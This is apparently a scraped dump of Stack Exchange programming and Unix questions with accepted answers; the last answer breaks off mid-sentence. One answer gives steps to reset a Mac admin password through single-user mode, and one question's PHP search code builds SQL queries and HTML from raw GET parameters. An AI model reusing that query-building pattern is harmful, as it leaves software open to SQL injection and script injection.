{  "id": "_softwareengineering.198589"  , "question": "When the context class can accept a null strategy, is there another way to do it without check if its null?Is this considered a good strategy design implementation?class MainApp{    static void Main(){        Context context = new Context();        while(true){            Strategy strategy = createConcreteStrategy(Console.ReadLine());            context.setStrategy(strategy);            context.run();        }    }    static void createConcreteStrategy(string input){        if( input == strategyA ){            return new StrategyA();        }        if( input == strategyB ){            return new StrategyB();        }               return null;    }}abstract class Strategy { public abstract void doSomething(); }class Context{    Strategy strategy;    ClassX x;    public Context(){}    public void setStrategy(Strategy strategy){        this.strategy = strategy;    }    public void run(){        if( strategy != null ){            data = strategy.doSomething();            x.setData(data);        }    }}"  , "title": "design strategy pattern with null checking"  , "tags": "design;design patterns;null"  , "accepted_answer": "There is absolutely a way to avoid checking for null here! Use the null object pattern, i.e.class NullStrategy: Strategy {    public void doSomething() {    }}and then the default case in createConcreteStrategy is return new NullStrategy() instead of return null, and  then you no longer have to check if strategy is null in run.If you don't want to call x.setData with a null argument, then you could pass x to the strategy.  Here's one possible implementation:class NullStrategy: Strategy {    public void doSomething(ClassX x) {        // don't do anything with x    }}class RealStrategy: Strategy {    public void doSomething(ClassX x) {        var data = someOperation();        x.setData(data);    }}Pushing an if-statement into an instance of Strategy makes sense to me in this situation."  } 
{  "id": "_unix.87560"  , "question": "This may be a silly question, but I ask it still. If I have declared a shebang#!/bin/bash in the beginning of my_shell_script.sh, so do I always have to invoke this script using bash[my@comp]$bash my_shell_script.shor can I use e.g.[my@comp]$sh my_shell_script.shand my script determines the running shell using the shebang? Is it the same happening with ksh shell? I'm using AIX."  , "title": "Does the shebang determine the shell which runs the script?"  , "tags": "scripting;executable;shebang"  , "accepted_answer": "The shebang #! is an human readable instance of a magic number consisting of the byte string 0x23 0x21, which is used by the exec() family of functions to determine whether the file to be executed is a script or a binary. When the shebang is present, exec() will run the executable specified after the shebang instead.Note that this means that if you invoke a script by specifying the interpreter on the command line, as is done in both cases given in the question, exec() will execute the interpreter specified on the command line, it won't even look at the script.So, as others have noted, if you want exec() to invoke the interpreter specified on the shebang line, the script must have the executable bit set and invoked as ./my_shell_script.sh.The behaviour is easy to demonstrate with the following script:#!/bin/kshreadlink /proc/$$/exeExplanation:#!/bin/ksh defines ksh to be the interpreter.$$ holds the PID of the current process. /proc/pid/exe is a symlink to the executable of the process (at least on Linux; on AIX, /proc/$$/object/a.out is a link to the executable).readlink will output the value of the symbolic link.Example:Note: I'm demonstrating this on Ubuntu, where the default shell /bin/sh is a symlink to dash i.e. /bin/dash and /bin/ksh is a symlink to /etc/alternatives/ksh, which in turn is a symlink to /bin/pdksh.$ chmod +x getshell.sh$ ./getshell.sh /bin/pdksh$ bash getshell.sh /bin/bash$ sh getshell.sh /bin/dash"  } 
{  "id": "_unix.11639"  , "question": "Would anyone have any tips on optimizing video to FLV conversion using ffmpeg so I would get a medium quality video which is not very large?I have a video site where users can upload videos which will be converted to FLV and displayed. Those videos  are shown at the size 420x350. I'm using FFMPEG to convert then to FLV, through the following command:ffmpeg -i $in $outI find the result to be pretty low quality and whenever I try to change settings, the output will be a very large file. For instance, I've tried this:  ffmpeg -i $in -sameq -ar 11025 -ab 32 -deinterlace -nr 500 -r 20 -g 500 -s 420x350 -aspect 4:3 -me_range 20 -b 270k -f flv -y $out"  , "title": "FFMPEG video to FLV conversion optimization"  , "tags": "ffmpeg"  } 
{  "id": "_unix.325488"  , "question": "I'm using find to prune old files, lots of them.. this takes minutes / hours to run and other server processes encounter IO performance issues. find -mtime +100 -delete -printI tried ionice but it didn't appear to help. ionice -c 3 What can one do to 1. speed up the find operation and 2. to avoid impacting other processes?The FS is ext4.. is ext4 just bad at this kind of workload?Kernel is 3.16Storage is 2x 1TB 7200rpm HDDs in RAID 1.There's 93GB in 610228 files now, so 152KB/file on average.Maybe I just shouldn't store so many files in a single directory?"  , "title": "Deleting old files is slow and 'kills' IO performance"  , "tags": "linux;debian;ext4"  } 
{  "id": "_unix.294654"  , "question": "I was trying to check the amount of hard drive by typing df -hIts showing me below status since long time.  svn_manager@fileserver:~$ df -h  ^C^C^C^C^C^C^C^C^C^Z^Z^Z^X^X^C^C^C^C^C^C^C^CI have 1 network shared folder mounted and 1 usb drive attached but both the shared function working from other pc.I tried to kill by using Crtl+c | Crtl+z | Crtl+d but no success.Closing the terminal work but when i reopen the terminal and run it again its having same issue.Please advise."  , "title": "df -h unable to show the command output on a Linux System"  , "tags": "disk usage"  } 
{  "id": "_codereview.20375"  , "question": "I have this method that basically takes a string and does different thingsdepending on what the string starts with. Is there a cleaner way to write this method?public String analyze(BotMessage message){    String lcmsg = message.message().toLowerCase();    //Not a command    if(!lcmsg.startsWith(!)) return -1;    //Message from whatever     if(lcmsg.startsWith(!ping)) return pong!;     if(lcmsg.startsWith(!tournament)) return tournament(message);     //message from skype     if(message.skype())     {         if(lcmsg.startsWith(!settournament)) return settournament(message);         if(lcmsg.startsWith(!promote)) return promote(message);         if(lcmsg.startsWith(!checkin)) return checkin(message);         if(lcmsg.startsWith(!checkout)) return checkout(message);         if(lcmsg.startsWith(!checkedin)) return checkedin(message);         if(lcmsg.startsWith(!updatetournament)) return updatetournament();     }    return -1;}"  , "title": "Conditional execution based on input string's prefix"  , "tags": "java;strings"  , "accepted_answer": "I don't like too much the fact that you use a String as the returned type of your function.What about using a class hierarchy or exceptions?I see opportunities to create a hierarchy even for the messages. Why don't you create a BotMessage and a SkypeMessage?Both should have the logic to decide what to do in the base case, maybe in an analyze method. The analyze method of the SkypeMessage should, in addition, manage the Skype-specific aspects.Finally you should simplify the code and remove the list of if statements.Introduce a new set of objects to parse the messages. These objects should have a match method that check whether the string matches with their definition, and a performAction method that generates the return value."  } 
{  "id": "_webapps.106171"  , "question": "I am looking to build a form that asks a customer for a list of items (in this case locations and their website) on page 1, and on page 2 I want some elaboration on the specfics for the website.I am trying to capture the domain field from my table as a calculated value in the 2nd recurring section or table. However I can only get all entries or none. What i'd like is this:table 1:entry 1: location|variable|variable|websiteentry 2: location|variable|variable|websiteetc.table 2:entry 1: (calc)location from table1.entry1|(calc)website from table1.entry1|variable|variableentry 2: (calc)location from table1.entry2|(calc)website from table1.entry2|variable|variableetc.I have tried the following:=Form.SECTION1.TABLE1.Where(ItemNumber = Form.SECTION2.TABLE2.ItemNumber).Select(Website)(basically I am trying to dynamically generate the ItemNumber = 1, 2, 3, etc. by equating this to the current ItemNumber in the table)If this would work with recurring sections I'd be just as happy.is there any way to accomplish this?"  , "title": "Reference a line/item from a recurring section/table in another recurring section/table"  , "tags": "cognito forms"  } 
{  "id": "_codereview.145348"  , "question": "In our latest Veracode scan for an application, I have come across the issue of Improper Resource Shutdown or Release.  It is pointing at a function.  Here's  what the code looks like:Imports System.Data.SqlClientPublic Class DAL    Public Shared ConnString As String = ConfigurationManager.ConnectionStrings(connection).ConnectionStringPublic Shared Function CheckSecurity(ByVal strUserID As String, ByVal strOperation As String, ByVal strAppID As String) As Boolean    Dim sbSQL As New StringBuilder    Dim MyConnection As SqlConnection = New SqlConnection()    Dim sqlCmd As SqlCommand = New SqlCommand    MyConnection.ConnectionString = ConnString    sbSQL.Clear()    sbSQL.AppendLine(EXEC dbo.CheckSecurity @UserID, @AppID, @Operation)    sqlCmd.CommandText = sbSQL.ToString    sqlCmd.Connection = MyConnection    With sqlCmd.Parameters        .Clear()        .Add(@UserID, SqlDbType.VarChar, 15).Value = strUserID        .Add(@AppID, SqlDbType.VarChar, 50).Value = strAppID        .Add(@Operation, SqlDbType.VarChar, 50).Value = strOperation    End With    Try        If getDataTableFromSqlCmd(sqlCmd).Rows.Count > 0 Then            CheckSecurity = True        Else            CheckSecurity = False        End If    Catch ex As Exception        Throw New ApplicationException(SECURITY ACCESS ERROR)    Finally        If MyConnection.State = ConnectionState.Open Then            MyConnection.Close()        End If        MyConnection.Dispose()        sqlCmd.Dispose()    End TryEnd FunctionCode for getDataTableFromSqlCMD:Public Shared Function getDataTableFromSqlCmd(ByVal sqlCmd As SqlCommand) As DataTable    Dim dt As New DataTable    Dim MyAdapter As New SqlDataAdapter(sqlCmd)    Try        sqlCmd.CommandTimeout = m_iSQLTimeOut        MyAdapter.Fill(dt)        getDataTableFromSqlCmd = dt    Catch ex As Exception        Throw New ApplicationException(GET DATA TABLE ERROR)    Finally        sqlCmd.Dispose()        MyAdapter.Dispose()        dt.Dispose()    End TryEnd FunctionAs far as I can tell the resources in this code are being properly deallocated.  Am I missing something?"  , "title": "Security check using an SQL call"  , "tags": "sql;vb.net;authorization"  , "accepted_answer": "It needs more Using statements. For example:Public Shared Function CheckSecurity(strUserID$, strOperation$, strAppID$) As Boolean    Try        Using da As New SqlDataAdapter(dbo.CheckSecurity, ConnString)             Dim sc = da.SelectCommand, p = sc.Parameters, dt = New DataTable            sc.CommandType = CommandType.StoredProcedure            sc.CommandTimeout = m_iSQLTimeOut            p.Add(@UserID, SqlDbType.VarChar, 15).Value = strUserID            p.Add(@AppID, SqlDbType.VarChar, 50).Value = strAppID            p.Add(@Operation, SqlDbType.VarChar, 50).Value = strOperation            Return da.Fill(dt) > 0     ' .Fill returns the number of rows successfully added        End Using           ' da is disposed here even if Exception occurs    Catch ex As Exception        Throw New ApplicationException(SECURITY ACCESS ERROR)    End Try    Return FalseEnd Functionor Public Shared Function CheckSecurity(strUserID$, strOperation$, strAppID$) As Boolean    Try        Using con = New SqlConnection(ConnString),               cmd = New SqlCommand(dbo.CheckSecurity, con)            cmd.CommandType = CommandType.StoredProcedure            cmd.CommandTimeout = m_iSQLTimeOut            cmd.Parameters.Add(@UserID, SqlDbType.VarChar, 15).Value = strUserID            cmd.Parameters.Add(@AppID, SqlDbType.VarChar, 50).Value = strAppID            cmd.Parameters.Add(@Operation, SqlDbType.VarChar, 50).Value = strOperation            con.Open()            Using reader = cmd.ExecuteReader                Return reader.HasRows            End Using        End Using       ' con and cmd are closed and disposed here even if Exception occurs    Catch ex As Exception        Throw New ApplicationException(SECURITY ACCESS ERROR)    End Try    Return FalseEnd FunctionSome other examples https://stackoverflow.com/questions/24023575/how-to-pass-parameters-to-sqldataadapter, https://stackoverflow.com/questions/14566980/c-sharp-data-adapter-parameters"  } 
{  "id": "_unix.184429"  , "question": "I've successfully set up an sftp with authentication on Active Directory. All users in a particular AD group are managed by SSH's sftp subsystem and chrooted into a common home directory, let's say /upload. This works fine except that everytime a user logs in, a file named .k5login is created and remains there. I could delete the file, but whenever a user logs in, the file is created again.I've used pbis-open to connect the workstation to the domain, but I think my issue is not related to this particular package.From what I saw, this file is required by the kerberos authentication framework, but how can I avoid this? Can I modify the creation path of this file, let's say in /tmp? "  , "title": "Avoid creation of .k5login file in a SFTP Chroot configuration"  , "tags": "ssh;sftp;active directory"  } 
{  "id": "_unix.279107"  , "question": "I tried to persist the environment variables for ORACLE in RedHat using/etc/environmentIt cleared my PATH variable, no command was recognized afterwards.Why does it happen, since just executing the same commands in the shell just works fine! Variables, which i added to the environmentORACLE_HOME=/usr/lib/oracle/12.1/client64PATH=$ORACLE_HOME/bin:$PATHLD_LIBRARY_PATH=$ORACLE_HOME/lib"  , "title": "Why does environment variables persistance breaks the PATH var"  , "tags": "environment variables"  , "accepted_answer": "/etc/environment is a configuration file for pam_env, not a file read by a shell. The syntax is somewhat similar, but it is not the same. In particular, you can't refer to existing variables: you've set your search path to contain $ORACLE_HOME/bin and $PATH, i.e. directories with a dollar sign in their name.To set variables for all users, you can edit /etc/security/pam_env.conf, which has a different, richer syntax, but still not as rich as what you can do in a shell.ORACLE_HOME DEFAULT=/usr/lib/oracle/12.1/client64PATH OVERRIDE=/usr/local/bin:/usr/bin:/bin:${ORACLE_HOME}/binLD_LIBRARY_PATH DEFAULT=$ORACLE_HOME/libNote that you can refer to other variables, but you can't refer to a variable's previous value.If you want a more flexible approach, add the variable definitions to /etc/profile instead. There you can use all shell constructs. The downside is that this is only read in login sessions, not e.g. by cron. You can easily benefit from them by adding . /etc/profile; at the beginning of your cron jobs however.export ORACLE_HOME=/usr/lib/oracle/12.1/client64PATH=$ORACLE_HOME/bin:$PATHexport LD_LIBRARY_PATH=$ORACLE_HOME/lib"  } 
{  "id": "_unix.105005"  , "question": "How can I make a shared library which is in /usr/lib/some-path linkable with the g++ -l argument when compiling?As far as I know, to do what I want, I need to chmod 0755 the library .so file, create some kind of a link file and I need to update the library cache. I tried using ldconfig command and it worked, but not for the subdirectories of /usr/lib. I also tried ln -s /usr/lib/some-path/libmy.so /link/file/output/dir which created a link file, but g++ still couldn't find the library with the -lmy. I tied running ldconfig after ln but that did not help."  , "title": "How to make a library linkable with g++ -l argument"  , "tags": "libraries;g++"  } 
{  "id": "_webmaster.34094"  , "question": "Is there a way to separate out browser usage by location in Google Analytics?  Like for example, seeing that all traffic from Nevada came from what browsers?  Or, selecting a single browser and seeing where all of the traffic came from that used that browser?"  , "title": "View browser usage by location in Google Analytics"  , "tags": "google analytics"  , "accepted_answer": "From the default reporting page for the property you would like to review:Go to the Audience tab in the left menu bar and select Demographics then LocationSelect Technology then Browser from the Secondary Dimension menu (just above the data table)Switch between geographic divisions (Country/Territory, City, Continent, Sub Continent Region), click through linked regions in the data table, and/or use the search box to drill down to the locations you'd like to review"  } 
{  "id": "_scicomp.25702"  , "question": "Consider the 1D poisson equation$$\\frac{d^2 u}{dx^2} = -\\rho$$with Dirichlet boundary conditions $u(0) = u(l) = g$. Using a finite difference scheme, with a 5-point grid $u_1,u_2,u_3,u_4,u_5$ (excluding boundary points $u_0$ and $u_l$), we get the set of linear equations$$\\left( \\begin{array}{ccc}2 & -1 &  &  &   \\\\-1 & 2 & -1 &  &    \\\\ & -1 & 2 & -1 &   \\\\ &  & -1 & 2 & -1    \\\\ &  &  & -1 & 2    \\\\\\end{array} \\right)\\left( \\begin{array}{c} u_1 \\\\ u_2 \\\\ u_3 \\\\ u_4 \\\\ u_5\\end{array} \\right) = \\left( \\begin{array}{c} \\rho_1+g \\\\ \\rho_2 \\\\ \\rho_3 \\\\ \\rho_4 \\\\ \\rho_5+g\\end{array} \\right)$$My question is: What would the matrix look like if I made $u_3$ a boundary point too?Would it look like$$\\left( \\begin{array}{ccc}2 & -1 &  &  &   \\\\-1 & 2 & 0 &  &    \\\\ & 0 & 1 & 0 &   \\\\ &  & 0 & 2 & -1    \\\\ &  &  & -1 & 2   \\\\\\end{array} \\right)\\left( \\begin{array}{c} u_1 \\\\ u_2 \\\\ u_3 \\\\ u_4 \\\\ u_5\\end{array} \\right) = \\left( \\begin{array}{c} \\rho_1+g \\\\ \\rho_2+g \\\\ g \\\\ \\rho_4+g \\\\ \\rho_5+g\\end{array} \\right)$$I ask because I have a 3d system with small but irregular internal boundary regions, and it would be currently more convenient for my purposes to leave them in the matrix (even if it means extra computational cost)."  , "title": "Explicitly including boundary points in a set of finite-difference equations"  , "tags": "finite difference;poisson"  , "accepted_answer": "If you include the boundary condition directly in the matrix, you will only get the g value at the points where the boundary is prescribed. If we use 5 nodes with the following BCS:$$u_1=g_1$$ and $$u_5=g_5$$Then the matrix resulting from the finite difference will be:$$\\left( \\begin{array}{ccc}1 & 0 &  &  &   \\\\-1 & 2 & -1 &  &    \\\\ & -1 & 2 & -1 &   \\\\ &  & -1 & 2 & -1    \\\\ &  &  & 0 & 1   \\\\\\end{array} \\right)\\left( \\begin{array}{c} u_1 \\\\ u_2 \\\\ u_3 \\\\ u_4 \\\\ u_5\\end{array} \\right) = \\left( \\begin{array}{c} g_1 \\\\ \\rho_2 \\\\ \\rho_3 \\\\ \\rho_4 \\\\ g_5\\end{array} \\right)$$That is, the value of $$u_1$$ and $$u_5$$ follow the Dirichlet BCs and within the domain, the Poisson equation applies.If you have Neumann boundary conditions or Robin Boundary condition, than line 1 and 5 will have to change to respect the application of these boundary conditions.If the third point is a boundary point and following my example, then the resulting matrix should be  :$$\\left( \\begin{array}{ccc}1 & 0 &  &  &   \\\\-1 & 2 & -1 &  &    \\\\ & 0 & 1 & 0 &   \\\\ &  & -1 & 2 & -1    \\\\ &  &  & 0 & 1   \\\\\\end{array} \\right)\\left( \\begin{array}{c} u_1 \\\\ u_2 \\\\ u_3 \\\\ u_4 \\\\ u_5\\end{array} \\right) = \\left( \\begin{array}{c} g_1 \\\\ \\rho_2 \\\\ g_3 \\\\ \\rho_4 \\\\ g_5\\end{array} \\right)$$But this is impossible in our case, since this would imply prescribing 3 conditions on a problem which requires 2.In 2D, however, you will get lines with strictly diagonal term that appear within the matrix due to Dirichlet BCs."  } 
{  "id": "_unix.305024"  , "question": "I recently moved my Debian Gnome 3 installation to a new computer with a GTX 1070.  I had previously installed old Nvidia drivers which didn't support the 1070, so when I booted up I was faced with a blinking prompt.  To remedy this, I went into the command prompt with CTRL-ALT-F2, did sudo apt-get purge nvidia* and installed the  Nvidia 367.27 Drivers.  When I rebooted after installing the drivers successfully, Debian displayed Loading, please wait..., indefinitely.  When I rebooted again, it (Gnome, I presume) displayed this Oh no! Something has gone wrong. message.  Now, when I boot into Debian, I always get one of those two messages.Does anyone have a clue what has gone wrong? Is there any way to fix this, or is it time for me to reinstall?"  , "title": "Debian installation not booting after Nvidia drivers installation"  , "tags": "debian;nvidia"  } 
{  "id": "_softwareengineering.107687"  , "question": "I've been messing around with functional programming languages for a few years, and I keep encountering this phrase. For example, it is a chapter of The Little Schemer, which certainly predates the blog by this name. (No, the chapter doesn't help answer my question.)I understand what lambda means, the idea of an anonymous function is both simple and powerful, but I fail to understand what the ultimate means in this context.Places that I've seen this phrase:The title of chapter 8 of The Little SchemerA blog: http://lambda-the-ultimate.org/A series of Lambda the ultimate X papers: http://library.readscheme.org/page1.htmlI feel like I'm missing a reference here, can anyone help?"  , "title": "What is the origin and meaning of the phrase Lambda the ultimate?"  , "tags": "functional programming;terminology;history;lambda"  , "accepted_answer": "Yes, it's simply a recurring phrase in the title of several papers, starting from a couple in the 70s, in which Sussman and Steele demonstrate the use of lambda calculus for programming, by means of a minimalist Lisp dialect named Scheme they devised for the purpose. You can find the papers themselves here; they're interesting and surprisingly relevant.I'm not sure if this is ever explicitly stated, but it's clear (from context, having read the papers, and knowing the general background and research interests of the authors) that the phrase is simply a catchy slogan for their contention that lambda abstractions, as a computational primitive, are not only universal in the formal sense (of being able to encode any program in some fashion, however awkward), but universal in a practical sense that any and every construct present in other languages, even those that are baked-in from the ground up, can be reimplemented in a lambda-based language in a way that is both effective and natural to use.The repeated phrase leads to the obvious generalized form for all X, lambda is the ultimate X, which is the sense I've generally taken Lambda the Ultimate to mean as the blog name, noting that LtU is concerned with programming language design and theory. Ironically, LtU would probably also be one of the best places to find someone who could tell you about something for which lambda is not the ultimate implementation. :]Note also that Sussman is one of the authors of SICP, a very influential textbook that also uses the Scheme language and spends a fair amount of time introducing lambda abstractions as a concept."  } 
{  "id": "_softwareengineering.117378"  , "question": "We have outsourced the html and css design to an external company. We want to make sure the quality of code is good. What benchmarks can we set to achieve this."  , "title": "How do I validate the html/css and JS code outsourced to an external company."  , "tags": "javascript;css"  } 
{  "id": "_codereview.30498"  , "question": "I'd like feedback on my callbacks/promises alternative, please.The yld repositoryvar yld;yld = (function () {'use strict';var slice, clearer, defer, prepare, yld;slice = Array.prototype.slice;clearer = {    yld: {        value: undefined    },    throw: {        value: undefined    }};Object.freeze(clearer);defer = typeof process === 'object' && typeof process.nextTick === 'function' ? process.nextTick : function nextTick(closure) {    setTimeout(closure);};prepare = function* (parent) {    var proto, generator, fnGenerator, response;    proto = {        yld: function (fn) {            var parent;            parent = this;            return function () {                var generator, proto, fnGenerator;                generator = prepare(parent);                proto = generator.next().value;                generator.next(generator);                fnGenerator = fn.apply(proto, arguments);                generator.next(fnGenerator);                return Object.create(proto, clearer);            };        },        next: function (value) {            defer(function () {                generator.next(value);            });        },        nextCb: function () {            var value;            value = slice.call(arguments);            defer(function () {                generator.next(value);            });        },        throw: function(error) {            defer(function() {                fnGenerator.throw(error);            });        }    };    if (parent !== undefined) {        proto.parent = Object.create(parent, clearer);    }    generator = yield proto;    fnGenerator = yield null;    while (true) {        response = yield defer(function () {            fnGenerator.next(response);        });    }};yld = function (fn) {    return function () {        var generator, proto, fnGenerator;        generator = prepare();        proto = generator.next().value;        generator.next(generator);        fnGenerator = fn.apply(proto, arguments);        generator.next(fnGenerator);        return Object.create(proto, clearer);    };};return yld;}());if (typeof module === 'object' && module.exports !== undefined) {    module.exports = yld;}"  , "title": "My yld NPM - callbacks/promises alternative"  , "tags": "javascript;node.js;callback;promise"  } 
{  "id": "_codereview.94277"  , "question": "The prompt that made me put this function together was sourced from CodingBat.I was curious about cleaner, more correct methods of doing putting this together such as finding a cleaner way to tell if there is or is not a duplicate in the array. I am also trying to be as efficient as possible. I believe this is an \\$O(n^2)\\$ function. Let me know what I should change.The code works just fine. I just feel like there is quite a lot I can streamline and I would like to be pointed in the right direction. public int maxSpan(int[] nums) {    int highestSpan = 0;    int span;    boolean duplicate = false;    if (nums.length == 0)        return highestSpan;    for (int i = 0; i < nums.length; i++) {        for (int j = 0; j < nums.length; j++){            if ((nums[i] == nums[j])&& j != i){ //if duplicate                duplicate = true;                //get the absolute value of j - i                span = j - i + 1; //Add 1 because it needs to count itself                //if it is larger than the highestSpan then record it                if (span > highestSpan)                    highestSpan = span;            }        }    }    if (duplicate)        return highestSpan;    else        return 1;}"  , "title": "Finding the maximum inclusive distance between two duplicate numbers in an array"  , "tags": "java"  , "accepted_answer": "Getting rid of duplicate as Janos proposed and then QPaysTaxes wrote is a good step, but this useless variable introduced quite some useless code we should also get rid of. The following code builds up on QPaysTaxes' answer; I'm commenting on changed things and presenting my variant:public int maxSpan(int[] nums) {    int highestSpan = 0;This is not the place where span should be defined. You don't need it here.The condition nums.length == 0 can go.    for (int i = 0; i < nums.length; i++) {        for (int j = i; j < nums.length; j++) {Changed the lower bound from i+1 to i to cover span equal to 1. Below removed the i != j test and used max to make the code a bit shorter.            if (nums[i] == nums[j]) {                int span = j - i + 1; // Add 1 to count itself                    highestSpan = Math.max(highestSpan, span);            }        }    }No need for a conditional here.    return highestSpan;}I guess, I saved some 6 lines without making it any more complicated. Now can also span be inlined to save 1 more line (but that's not the objective).--Now it works exactly according to the explanation by QPaysTaxes in comment without any special tests:An empty array doesn't have any spans, so clearly it has to return 0. An array of unique elements is rather more confusing, but since the prompt states that a single (i.e. unduplicated) element has a span of 1, then an array of unique (i.e. unduplicated [i.e. single]) elements has a maximum span of the span of every unique numberAn O(n) solution could look like this (untested):public int maxSpan(int[] nums) {    int highestSpan = nums.length == 0 ? 0 : 1;    Map<Integer, Integer> firstOccurrenceMap = new HashMap<>();    for (int i = 0; i < nums.length; i++) {        Integer firstOccurrence = firstOccurrenceMap.get(nums[i]);        if (firstOccurrence == null) {            firstOccurrenceMap.put(nums[i], i);        } else {            highestSpan = Math.max(highestSpan, i - firstOccurrence + 1);        }    }    return highestSpan;}As the first occurrence of a number gets a special treatment, the empty array has to be handled specially, too (see the declaration of highestSpan)."  } 
{  "id": "_unix.96698"  , "question": "Today I bought an ibook G4 from a garage sale. The people who sold it to me didn't know the password for the 2 accounts on it. Apparently it was the guys late father's laptop. Any suggestions on how to get into the laptop and set a new admin account and password?"  , "title": "Mac OS X Darwin: how to reset admin password?"  , "tags": "osx;root;startup"  , "accepted_answer": "You must boot the Mac into single user mode and change an admin user's password from the command line.  How to do it depends on the Mac OS version installed on the iBook.Here are the instructions for 10.4 (Tiger) which is probably what's installed on such an old Mac:Power on your Mac.At the chime hold down Command S on your keyboard to boot into single-user mode.Type sh /etc/rc and press Return.Type passwd username Return, replacing username with the short name of the account whose password you want to change.  You can get a list of account short names with ls /Users Return.Enter the new password and press Return.Type reboot Return.Once the Mac boots you should be able to log into the account whose password you changed."  } 
{  "id": "_unix.12206"  , "question": "I am new to Linux, installed Gnome, and unable to login, as only root is set, and disabled, I think after reading on the Internet.Now how do i get back to the command line, at least so I can deal with that and fix my issues from there? I am unable to bypass the Gnome login screen."  , "title": "Debian (Gnome): unable to login"  , "tags": "linux;debian;gnome;login"  } 
{  "id": "_codereview.11503"  , "question": "I only recently started coding so I know my code is not very good, but i would really appreciate any help on improving my code.my database table looks like thisgame_id |title  |developer  |publisher  |genre  |release_date   |platform   rating  |image_location |descriptionthe first pagethis page is pretty straightforward your typical search that links to the search page and passes the keywords entered through GET<div id=\\top_search\\>            <form name=\\input\\ action=\\search.php\\ method=\\get\\ id=\\search_form\\>            <input type=\\text\\ id=\\keywords\\ name=\\keywords\\ size=\\128\\ class=\\searchbox\\ value=\\$defaultText\\> &nbsp;            <select id=\\category\\ name=\\category\\ class=\\searchbox\\> ;createCategoryList();echo '            </select> &nbsp;            <input type=submit value=Search class=button /> &nbsp;            </form>        </div>the second page is the search pagethis is where things got complicated for me.Here is what i did i created a buch of links on the left side, each link submits back to the same page but passes 4 variables with them which i use on the third page to create the query.As you can see its not very pretty.<?phpsession_start();include(includes/html_codes.php);include (includes/search_func.php);if (isset($_GET['keywords'])){$keywords = mysql_real_escape_string(htmlentities(trim($_GET['keywords']))); }if (isset($_GET['order'])){$order = mysql_real_escape_string(htmlentities(trim($_GET['order']))); }else{    $order = '';}if (isset($_GET['platform'])){$platform = mysql_real_escape_string(htmlentities(trim($_GET['platform']))); }else{    $platform = '';}if (isset($_GET['genre'])){$genre = mysql_real_escape_string(htmlentities(trim($_GET['genre']))); }else{    $genre = '';}$errors = array();if(empty($keywords)){    $errors[] = 'Please enter a search term';}else if(strlen($keywords)<3){    $errors[] = 'Your search term must be at least 3 characters long';}else if(search_results($keywords) == false){            $errors[] = 'Your search for'.$keywords.' returned no results';}if(empty($errors)){    $results = search_results($keywords);    $results_num = count($results);}else{    foreach($errors as $error){        echo $error, '<br />';    }}?> <!DOCTYPE html ><html lang=en><head><title>Search</title><link rel=stylesheet href=css/main.css><link rel=stylesheet href=css/search.css></head><body><?php topBanner(); ?>   <div id=wrapper><?php headerAndSearchCode(); echo $_SERVER['QUERY_STRING'];echo $keywords;?>    <div id=main_section class=header>        <?php               echo '        <div id=filter_nav>        <ul  id=nav_form>            <li><h3 id=h3>Genre: &nbsp;</h3>            <li><a href=search.php?keywords='.$keywords.'&platform='.$platform.'&genre=Fighting&order='.$order.'>Fighting</a></li>            <li><a href=search.php?keywords='.$keywords.'&platform='.$platform.'&genre=Role-Playing&order='.$order.'>Role-Playing</a></li>            <li><a href=search.php?keywords='.$keywords.'&platform='.$platform.'&genre=Action&order='.$order.'>Action</a></li>        </ul>        <ul  id=nav_form>            <li><h3 id=h3>Platform: &nbsp;</h3>            <li><a href=search.php?keywords='.$keywords.'&platform=Playstation 3&genre='.$genre.'&order='.$order.'>PS3</a></li>            <li><a href=search.php?keywords='.$keywords.'&platform=xbox 360&genre='.$genre.'&order='.$order.'>Xbox 360</a></li>            <li><a href=search.php?keywords='.$keywords.'&platform=Gamecube&genre='.$genre.'&order='.$order.'>Gamecube</a></li>        </ul>        </div>    ';        echo '        <ul  id=sorting_form>            <li><h3 id=h3>SORT BY: &nbsp;</h3>            <li><a href=search.php?keywords='.$keywords.'&platform='.$platform.'&genre='.$genre.'&order=title>Title</a></li>            <li><a href=search.php?keywords='.$keywords.'&platform='.$platform.'&genre='.$genre.'&order=release_date>Date</a></li>            <li><a href=search.php?keywords='.$keywords.'&platform='.$platform.'&genre='.$genre.'&order=rating>Rating</a></li>        </ul>        ';        echo '<div id=results>';    foreach($results as $result ){        echo '            <div id=game_result>                <a href= game_page.php?game_id='.$result['game_id'].'><img src= '.$result['image_location'].' id=image /></a>                <div id=main_title>                    <a href= game_page.php?game_id='.$result['game_id'].'><h2 id=game_title>'.$result['title'].'&nbsp; &nbsp;</h2></a>                    <h3 id=platform>for  &nbsp;'.$result['platform'].'</h3>                </div>                <p id=game_description>'.$result['description'].'</p>                <div id=right_side>                <h4 id=rating>'.$result['rating'].'</h4>                </div>                <hr id=hr/>            </div>          ';}        echo '</div>';;?>    </div></div>`page three is where i query the database and get results. Not as bad as page 2function search_results($keywords){$returned_results = array();$where = ;$keywords = preg_split('/[\\s]+/', $keywords);$total_keywords = count($keywords);foreach($keywords as $key=>$keyword){    $where .= title LIKE '%$keyword%';    if($key != ($total_keywords - 1)){        $where .=  AND ;    }   }if (isset($_GET['platform']) && !empty($_GET['platform'])){    $platform = mysql_real_escape_string(htmlentities(trim($_GET['platform'])));         $where .=  AND platform='$platform';    }if (isset($_GET['genre']) && !empty($_GET['genre'])){    $genre = mysql_real_escape_string(htmlentities(trim($_GET['genre'])));                 $where .=  AND genre='$genre';}if (isset($_GET['order']) && !empty($_GET['order'])){    $order = mysql_real_escape_string(htmlentities(trim($_GET['order'])));    if($where ==  ORDER BY $order ASC){    $where .=  ORDER BY $order DESC;    }else{    $where .=  ORDER BY $order ASC;    }}$results =SELECT * FROM games WHERE $where ;echo $results;$results_num = ($results = mysql_query($results)) ? mysql_num_rows($results) : 0;if($results_num === 0){    return false;}else{    while($row = mysql_fetch_assoc($results)){        $returned_results[] = array(            'game_id' => $row['game_id'],            'title' => $row['title'],            'platform' => $row['platform'],            'rating' => $row['rating'],            'image_location' => $row['image_location'],            'description' => $row['description'],        );    }    return $returned_results;}   }?>Things i need help with being able to remove a chosen filter categoryeasier way to pass variables to the query stringbetter way to structure a filter for mysqlany feedback that will help me improve my codethanks"  , "title": "need help improving mysql and php filter code"  , "tags": "php;mysql;search"  , "accepted_answer": "here's a quick run down on your script from my perspective. Hopefully it will help you out and make your code a bit more efficient and a little prettier! :)Whilst admirable that you are attempting to stop SQL injection attacks with mysql_real_escape_string() it is really not the best method to protect yourself. Consider instead using prepared statements with PDO, believe me learning this will save you a lot of time!You also repeat alot of code, for example this line pops up a lot.$keywords = mysql_real_escape_string(htmlentities(trim($_GET[$x])));Why not put it into a function?function prepVar($var) {    return 